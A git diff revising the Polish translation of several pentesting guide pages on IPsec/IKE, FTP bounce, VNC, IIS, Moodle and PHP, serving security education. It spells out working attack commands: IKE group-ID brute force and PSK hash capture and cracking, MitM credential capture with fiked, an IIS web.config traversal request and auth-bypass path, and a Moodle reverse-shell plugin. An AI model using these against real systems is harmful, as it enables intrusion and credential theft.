||||
|
||||
W **DH Group: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
||||
W **Grupie DH: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1 (w tym przypadku). Format `--trans` to $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco wskazuje, aby unikać używania grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że **kraje z dużymi zasobami mogą łatwo złamać szyfrowanie** danych, które używają tych słabych grup. Robi się to za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Mimo że kosztuje to dużo pieniędzy, aby skonfigurować tę metodę, pozwala tym potężnym krajom na odczytanie zaszyfrowanych danych w czasie rzeczywistym, jeśli używa się grupy, która nie jest silna (jak 1,024-bit lub mniejsza).
|
||||
|
||||
### Fingerprinting serwera
|
||||
### Odczytywanie odcisków serwera
|
||||
|
||||
Następnie możesz użyć ike-scan, aby spróbować **odkryć dostawcę** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** **między** odebranymi **wiadomościami** z serwera a odpowiadającym wzorcem odpowiedzi, pentester może skutecznie zidentyfikować dostawcę bramy VPN. Co więcej, niektóre serwery VPN będą używać opcjonalnego **ładunku Vendor ID (VID)** z IKE.
|
||||
Następnie można użyć ike-scan, aby spróbować **odkryć dostawcę** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** **między** odebranymi **wiadomościami** z serwera a odpowiadającym wzorcem odpowiedzi, co pozwala pentesterowi skutecznie zidentyfikować dostawcę bramy VPN. Co więcej, niektóre serwery VPN będą używać opcjonalnego **ładunku identyfikatora dostawcy (VID)** z IKE.
|
||||
|
||||
**Określ ważną transformację, jeśli to konieczne** (używając --trans)
|
||||
|
||||
@ -105,12 +105,12 @@ To można również osiągnąć za pomocą skryptu nmap _**ike-version**_
|
||||
|
||||
## Znalezienie poprawnego ID (nazwa grupy)
|
||||
|
||||
Aby móc przechwycić hash, potrzebujesz ważnej transformacji wspierającej tryb agresywny oraz poprawnego ID (nazwa grupy). Prawdopodobnie nie będziesz znać ważnej nazwy grupy, więc będziesz musiał ją złamać.\
|
||||
Aby móc przechwycić hash, potrzebujesz ważnej transformacji wspierającej tryb agresywny oraz poprawnego ID (nazwa grupy). Prawdopodobnie nie będziesz znać ważnej nazwy grupy, więc będziesz musiał ją wypróbować metodą brute-force.\
|
||||
Aby to zrobić, polecam 2 metody:
|
||||
|
||||
### Bruteforcing ID z ike-scan
|
||||
|
||||
Najpierw spróbuj wykonać żądanie z fałszywym ID, próbując zebrać hash ("-P"):
|
||||
Najpierw spróbuj wysłać żądanie z fałszywym ID, próbując zebrać hash ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
@ -128,25 +128,29 @@ Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
Or use this dict (is a combination of the other 2 dicts without repetitions):
|
||||
|
||||
### Bruteforcing ID z Iker
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) również używa **ike-scan** do bruteforcingu możliwych nazw grup. Stosuje swoją własną metodę, aby **znaleźć ważny ID na podstawie wyników ike-scan**.
|
||||
### Bruteforcing ID with Iker
|
||||
|
||||
### Bruteforcing ID z ikeforce
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) również używa **ike-scan** do bruteforcingu możliwych nazw grup. Stosuje swoją własną metodę, aby **znaleźć ważne ID na podstawie wyników ike-scan**.
|
||||
|
||||
### Bruteforcing ID with ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można wykorzystać do **bruteforcingu ID również**. To narzędzie **spróbuje wykorzystać różne luki** które mogą być użyte do **rozróżnienia między ważnym a nieważnym ID** (mogą wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).
|
||||
|
||||
Domyślnie **ikeforce** na początku wyśle kilka losowych ID, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
||||
Domyślnie **ikeforce** na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
||||
|
||||
- **Pierwsza metoda** polega na bruteforcingu nazw grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (te informacje są odtwarzane przez serwer tylko wtedy, gdy nazwa grupy jest poprawna).
|
||||
- **Druga metoda** polega na **sprawdzaniu liczby odpowiedzi wysyłanych na każdą próbę**, ponieważ czasami wysyłane są dodatkowe pakiety, gdy używane jest poprawne ID.
|
||||
- **Druga metoda** polega na **sprawdzaniu liczby odpowiedzi wysyłanych na każdą próbę**, ponieważ czasami wysyłane są dodatkowe pakiety, gdy używane jest poprawne id.
|
||||
- **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID**.
|
||||
- Na koniec, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje bruteforcingu serwera i sprawdzi, czy po wysłaniu poprawnego ID serwer odpowiada jakimś pakietem.\
|
||||
Oczywiście celem bruteforcingu ID jest uzyskanie **PSK**, gdy masz ważne ID. Następnie, z **ID** i **PSK** będziesz musiał bruteforcingować XAUTH (jeśli jest włączone).
|
||||
- Na koniec, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje bruteforcingu serwera i sprawdzi, czy po wysłaniu poprawnego id serwer odpowiada jakimś pakietem.\
|
||||
Oczywiście celem bruteforcingu id jest uzyskanie **PSK**, gdy masz ważne id. Następnie, z **id** i **PSK** będziesz musiał bruteforcingować XAUTH (jeśli jest włączone).
|
||||
|
||||
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ikeforce. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nowej pętli, aby spróbować je wszystkie (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).
|
||||
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ikeforce. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować je wszystkie (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
@ -163,21 +167,21 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
||||
## Capturing & cracking the hash
|
||||
|
||||
Na koniec, jeśli znalazłeś **ważną transformację** i **nazwę grupy** oraz jeśli **tryb agresywny jest dozwolony**, to możesz bardzo łatwo zdobyć łamliwy hash:
|
||||
Na koniec, jeśli znalazłeś **ważną transformację** i **nazwę grupy** oraz jeśli **tryb agresywny jest dozwolony**, to możesz bardzo łatwo przechwycić łamliwy hash:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
Hash zostanie zapisany w pliku _hash.txt_.
|
||||
|
||||
Możesz użyć **psk-crack**, **john** (używając [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) i **hashcat**, aby **złamać** hash:
|
||||
Możesz użyć **psk-crack**, **john** (używając [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) oraz **hashcat**, aby **złamać** hash:
|
||||
```bash
|
||||
psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**Agresywny tryb IKE** w połączeniu z **kluczem współdzielonym (PSK)** jest powszechnie stosowany do celów **uwierzytelniania grupowego**. Metoda ta jest wzbogacona o **XAuth (Rozszerzone Uwierzytelnianie)**, które wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak **Microsoft Active Directory**, **RADIUS** lub porównywalne systemy.
|
||||
**Agresywny tryb IKE** w połączeniu z **kluczem wstępnym (PSK)** jest powszechnie stosowany do celów **uwierzytelniania grupowego**. Metoda ta jest wzbogacona o **XAuth (Rozszerzone Uwierzytelnianie)**, które wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak **Microsoft Active Directory**, **RADIUS** lub porównywalne systemy.
|
||||
|
||||
Przechodząc do **IKEv2**, zauważalna jest zmiana, w której **EAP (Rozszerzalny Protokół Uwierzytelniania)** jest wykorzystywany zamiast **XAuth** w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
|
||||
Przechodząc do **IKEv2**, zauważalna jest istotna zmiana, w której **EAP (Rozszerzalny Protokół Uwierzytelniania)** jest wykorzystywany zamiast **XAuth** w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
|
||||
|
||||
### Lokalna sieć MitM do przechwytywania poświadczeń
|
||||
|
||||
@ -185,9 +189,9 @@ Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istniej
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
Również, używając IPSec, spróbuj przeprowadzić atak MitM i zablokować cały ruch do portu 500, jeśli tunel IPSec nie może zostać ustanowiony, być może ruch będzie wysyłany w postaci niezaszyfrowanej.
|
||||
Również, używając IPSec, spróbuj przeprowadzić atak MitM i zablokować cały ruch do portu 500, jeśli tunel IPSec nie może zostać nawiązany, być może ruch będzie wysyłany w postaci niezaszyfrowanej.
|
||||
|
||||
### Brute-forcing XAUTH username ad password with ikeforce
|
||||
### Brute-forcing XAUTH username i hasła z ikeforce
|
||||
|
||||
Aby przeprowadzić brute force na **XAUTH** (gdy znasz ważną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
|
||||
```bash
|
||||
@ -199,7 +203,7 @@ Jeśli znalazłeś jedną lub kilka ważnych transformacji, po prostu użyj ich
|
||||
|
||||
## Uwierzytelnianie z IPSEC VPN
|
||||
|
||||
W Kali **VPNC** jest wykorzystywane do ustanawiania tuneli IPsec. **Profile** muszą znajdować się w katalogu `/etc/vpnc/`. Możesz zainicjować te profile za pomocą polecenia _**vpnc**_.
|
||||
W Kali, **VPNC** jest wykorzystywane do ustanawiania tuneli IPsec. **Profile** muszą znajdować się w katalogu `/etc/vpnc/`. Możesz zainicjować te profile za pomocą polecenia _**vpnc**_.
|
||||
|
||||
Poniższe polecenia i konfiguracje ilustrują proces ustawiania połączenia VPN z VPNC:
|
||||
```bash
|
||||
@ -223,7 +227,7 @@ W tej konfiguracji:
|
||||
- Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi VPN.
|
||||
- `[PID]` symbolizuje identyfikator procesu, który zostanie przypisany, gdy `vpnc` zostanie zainicjowany.
|
||||
|
||||
Upewnij się, że używane są rzeczywiste, bezpieczne wartości do zastąpienia miejscami, gdy konfigurujesz VPN.
|
||||
Upewnij się, że rzeczywiste, bezpieczne wartości są używane do zastąpienia miejsc wypełniających podczas konfigurowania VPN.
|
||||
|
||||
## Materiały referencyjne
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ W **Aktywnym FTP** klient FTP najpierw **inicjuje** połączenie kontrolne z por
|
||||
|
||||
Jednak, jeśli klient FTP ma skonfigurowany zaporę, która kontroluje przychodzące połączenia danych z zewnątrz, to aktywne FTP może stanowić problem. A wykonalnym rozwiązaniem jest Pasywne FTP.
|
||||
|
||||
W **Pasywnym FTP**, klient inicjuje połączenie kontrolne z portu N do portu 21 serwera FTP. Po tym, klient wydaje **komendę passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portów M. A **klient** **inicjuje** połączenie danych z **jego portu P do portu M** serwera FTP.
|
||||
W **Pasywnym FTP**, klient inicjuje połączenie kontrolne z portu N do portu 21 serwera FTP. Po tym, klient wydaje **komendę passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. A **klient** **inicjuje** połączenie danych z **jego portu P do portu M** serwera FTP.
|
||||
|
||||
Źródło: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** Serwer wskazuje, które komendy są obsługiwane
|
||||
- **`PORT 127,0,0,1,0,80`** To wskaże serwerowi FTP, aby nawiązał połączenie z IP 127.0.0.1 na porcie 80 (_musisz wpisać 5-ty znak jako "0" i 6-ty jako port w systemie dziesiętnym lub użyć 5-tego i 6-tego do wyrażenia portu w systemie szesnastkowym_).
|
||||
- **`PORT 127,0,0,1,0,80`** To wskaże serwerowi FTP, aby nawiązał połączenie z IP 127.0.0.1 na porcie 80 (_musisz ustawić 5. znak na "0" a 6. jako port w systemie dziesiętnym lub użyć 5. i 6. znaku, aby wyrazić port w systemie szesnastkowym_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** To wskaże serwerowi FTP, aby nawiązał połączenie TCP (_wskazane przez "2"_) z IP 127.0.0.1 na porcie 80. Ta komenda **obsługuje IPv6**.
|
||||
- **`LIST`** To wyśle listę plików w bieżącym folderze
|
||||
- **`LIST -R`** Lista rekurencyjna (jeśli dozwolone przez serwer)
|
||||
@ -155,18 +155,18 @@ Niektóre serwery FTP pozwalają na komendę PORT. Ta komenda może być użyta
|
||||
Możesz również nadużyć tego zachowania, aby sprawić, że serwer FTP będzie współdziałał z innymi protokołami. Możesz **przesłać plik zawierający żądanie HTTP** i sprawić, że podatny serwer FTP **wyśle je do dowolnego serwera HTTP** (_może, aby dodać nowego użytkownika administratora?_) lub nawet przesłać żądanie FTP i sprawić, że podatny serwer FTP pobierze plik z innego serwera FTP.\
|
||||
Teoria jest prosta:
|
||||
|
||||
1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmieniać linie za pomocą `0x0d 0x0a`
|
||||
2. **Użyj `REST X`, aby uniknąć wysyłania znaków, których nie chcesz wysyłać** (może, aby przesłać żądanie w pliku, musiałeś umieścić jakiś nagłówek obrazu na początku)
|
||||
1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmieniać linie z `0x0d 0x0a`
|
||||
2. **Użyj `REST X`, aby uniknąć wysyłania znaków, których nie chcesz wysyłać** (może, aby przesłać żądanie w pliku, musiałeś dodać nagłówek obrazu na początku)
|
||||
3. **Użyj `PORT`, aby połączyć się z dowolnym serwerem i usługą**
|
||||
4. **Użyj `RETR`, aby wysłać zapisane żądanie do serwera.**
|
||||
|
||||
Jest bardzo prawdopodobne, że to **spowoduje błąd taki jak** _**Socket not writable**_ **ponieważ połączenie nie trwa wystarczająco długo, aby wysłać dane za pomocą `RETR`**. Sugestie, aby spróbować tego uniknąć, to:
|
||||
|
||||
- Jeśli wysyłasz żądanie HTTP, **umieść to samo żądanie jedno po drugim** aż do **\~0.5MB** przynajmniej. Tak jak to:
|
||||
- Jeśli wysyłasz żądanie HTTP, **umieść to samo żądanie jedno po drugim** aż do **\~0.5MB** przynajmniej. Tak:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
{{#endfile}}
|
||||
|
||||
- Spróbuj **wypełnić żądanie "śmieciowymi" danymi związanymi z protokołem** (rozmawiając z FTP, może po prostu śmieciowe komendy lub powtarzając instrukcję `RETR`, aby uzyskać plik)
|
||||
- Po prostu **wypełnij żądanie dużą ilością znaków null lub innych** (podzielonych na linie lub nie)
|
||||
@ -196,7 +196,7 @@ Domyślna konfiguracja vsFTPd znajduje się w `/etc/vsftpd.conf`. Można tam zna
|
||||
- `chown_username=username` - Użytkownik, który otrzymuje własność anonimowo przesłanych plików
|
||||
- `local_enable=YES` - Zezwól lokalnym użytkownikom na logowanie
|
||||
- `no_anon_password=YES` - Nie pytaj anonimowych o hasło
|
||||
- `write_enable=YES` - Zezwól na komendy: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
|
||||
- `write_enable=YES` - Zezwól na komendy: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, i SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Virtual Network Computing (VNC)** to solidny system udostępniania pulpitu graficznego, który wykorzystuje protokół **Remote Frame Buffer (RFB)** do umożliwienia zdalnej kontroli i współpracy z innym komputerem. Dzięki VNC użytkownicy mogą bezproblemowo interagować z zdalnym komputerem, przesyłając zdarzenia klawiatury i myszy w obie strony. Umożliwia to dostęp w czasie rzeczywistym i ułatwia efektywną pomoc zdalną lub współpracę w sieci.
|
||||
@ -27,7 +26,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
|
||||
Domyślne **hasło jest przechowywane** w: \~/.vnc/passwd
|
||||
|
||||
Jeśli masz hasło VNC i wygląda na zaszyfrowane (kilka bajtów, jakby mogło być zaszyfrowanym hasłem), prawdopodobnie jest szyfrowane za pomocą 3des. Możesz uzyskać hasło w postaci czystego tekstu używając [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
Jeśli masz hasło VNC i wygląda na zaszyfrowane (kilka bajtów, jakby mogło być zaszyfrowanym hasłem), prawdopodobnie jest szyfrowane za pomocą 3des. Możesz uzyskać hasło w postaci czystego tekstu, korzystając z [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
```bash
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
@ -36,11 +35,12 @@ Możesz to zrobić, ponieważ hasło używane w 3des do szyfrowania haseł VNC w
|
||||
Dla **Windows** możesz również użyć tego narzędzia: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Zapisuję to narzędzie tutaj również dla łatwego dostępu:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Testuj rozszerzenia plików wykonywalnych:
|
||||
Testowanie rozszerzeń plików wykonywalnych:
|
||||
|
||||
- asp
|
||||
- aspx
|
||||
@ -37,7 +37,9 @@ Więcej informacji i technik wykorzystania tej podatności [tutaj](https://sorou
|
||||
|
||||
Pobierz listę, którą stworzyłem:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
Została stworzona poprzez połączenie zawartości następujących list:
|
||||
|
||||
@ -86,7 +88,7 @@ Pliki znajdujące się w katalogu głównym, takie jak **/global.asax** i **/con
|
||||
|
||||
### **Przestrzenie nazw i Web.Config**
|
||||
|
||||
Aplikacje MVC definiują również dodatkowe **web.config files** dla specyficznych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego **web.config**:
|
||||
Aplikacje MVC definiują również dodatkowe **web.config files** dla konkretnych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego **web.config**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -185,19 +187,19 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
Jeśli zobaczysz błąd podobny do poniższego:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Oznacza to, że serwer **nie otrzymał poprawnej nazwy domeny** w nagłówku Host.\
|
||||
Aby uzyskać dostęp do strony internetowej, możesz sprawdzić **certyfikat SSL** i być może znajdziesz tam nazwę domeny/poddomeny. Jeśli jej tam nie ma, może być konieczne **brute force VHosts**, aż znajdziesz właściwą.
|
||||
Aby uzyskać dostęp do strony internetowej, możesz spojrzeć na serwowany **certyfikat SSL** i być może znajdziesz tam nazwę domeny/poddomeny. Jeśli jej tam nie ma, może być konieczne **brute force VHosts**, aż znajdziesz poprawną.
|
||||
|
||||
## Stare luki w IIS, na które warto zwrócić uwagę
|
||||
|
||||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||
|
||||
Możesz spróbować **enumerować foldery i pliki** w każdym odkrytym folderze (nawet jeśli wymaga to Basic Authentication) używając tej **techniki**.\
|
||||
Możesz spróbować **enumerować foldery i pliki** w każdym odkrytym folderze (nawet jeśli wymaga to podstawowej autoryzacji) używając tej **techniki**.\
|
||||
Głównym ograniczeniem tej techniki, jeśli serwer jest podatny, jest to, że **może znaleźć tylko pierwsze 6 liter nazwy każdego pliku/folderu oraz pierwsze 3 litery rozszerzenia** plików.
|
||||
|
||||
Możesz użyć [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) do testowania tej luki: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
Możesz użyć [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) do przetestowania tej luki: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -205,9 +207,9 @@ Oryginalne badania: [https://soroush.secproject.com/downloadable/microsoft_iis_t
|
||||
|
||||
Możesz również użyć **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Fajnym pomysłem na **znalezienie ostatecznej nazwy** odkrytych plików jest **zapytanie LLMs** o opcje, jak to zrobiono w skrypcie [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
Dobrym pomysłem na **znalezienie ostatecznej nazwy** odkrytych plików jest **zapytanie LLMs** o opcje, jak to zrobiono w skrypcie [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Bypass Basic Authentication
|
||||
### Bypass podstawowej autoryzacji
|
||||
|
||||
**Obejdź** podstawową autoryzację (**IIS 7.5**) próbując uzyskać dostęp do: `/admin:$i30:$INDEX_ALLOCATION/admin.php` lub `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
@ -235,11 +237,11 @@ ASPXAUTH używa następujących informacji:
|
||||
- **`decryptionKey`** (string): klucz zakodowany w hex do użycia do deszyfrowania.
|
||||
|
||||
Jednak niektórzy ludzie będą używać **domyślnych wartości** tych parametrów i będą używać jako **ciasteczka e-maila użytkownika**. Dlatego, jeśli możesz znaleźć stronę internetową używającą **tej samej platformy**, która używa ciasteczka ASPXAUTH i **stworzysz użytkownika z e-mailem użytkownika, którego chcesz udawać** na serwerze pod atakiem, możesz być w stanie **użyć ciasteczka z drugiego serwera w pierwszym** i udawać użytkownika.\
|
||||
Ten atak zadziałał w tym [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
Ten atak zadziałał w tym [**opisie**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Pełny raport tutaj](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Błąd w kodzie **nie sprawdzał poprawnie hasła podanego przez użytkownika**, więc atakujący, którego **hash hasła trafia na klucz**, który już znajduje się w **cache**, będzie mógł zalogować się jako ten użytkownik.
|
||||
[Pełny raport tutaj](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Błąd w kodzie **nie sprawdzał poprawnie hasła podanego przez użytkownika**, więc atakujący, którego **hash hasła trafia na klucz**, który już znajduje się w **pamięci podręcznej**, będzie mógł zalogować się jako ten użytkownik.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Automatyczne skany
|
||||
|
||||
### droopescan
|
||||
@ -63,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
Znalazłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowaniu luk w wersji moodle**. Możesz **sprawdzić** je w [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
Zauważyłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowaniu luk w zabezpieczeniach dotyczących wersji moodle**. Możesz **sprawdzić** je w [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
|
||||
## **RCE**
|
||||
|
||||
@ -71,13 +70,15 @@ Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce
|
||||
|
||||
.png>)
|
||||
|
||||
Jeśli jesteś menedżerem, możesz nadal potrzebować **aktywować tę opcję**. Możesz zobaczyć jak w PoC eskalacji uprawnień moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
Jeśli jesteś menedżerem, możesz nadal potrzebować **aktywować tę opcję**. Możesz zobaczyć, jak to działa w PoC eskalacji uprawnień moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Następnie możesz **zainstalować następującą wtyczkę**, która zawiera klasyczny pentest-monkey php r**ev shell** (_przed przesłaniem musisz ją rozpakować, zmienić IP i port revshell i ponownie skompresować_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać zwykły powłokę PHP z parametrem "cmd".
|
||||
Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać regularny shell PHP z parametrem "cmd".
|
||||
|
||||
Aby uzyskać dostęp do uruchomienia złośliwej wtyczki, musisz uzyskać dostęp do:
|
||||
```bash
|
||||
|
||||
@ -2,12 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cookies common location:
|
||||
|
||||
## Cookies wspólna lokalizacja:
|
||||
To jest również ważne dla ciasteczek phpMyAdmin.
|
||||
|
||||
To również dotyczy ciasteczek phpMyAdmin.
|
||||
|
||||
Ciasteczka:
|
||||
Cookies:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
@ -29,13 +28,15 @@ Tabele porównań PHP: [https://www.php.net/manual/en/types.comparisons.php](htt
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` Ciąg, który nie zaczyna się od liczby, jest równy liczbie
|
||||
- `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
|
||||
- `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
|
||||
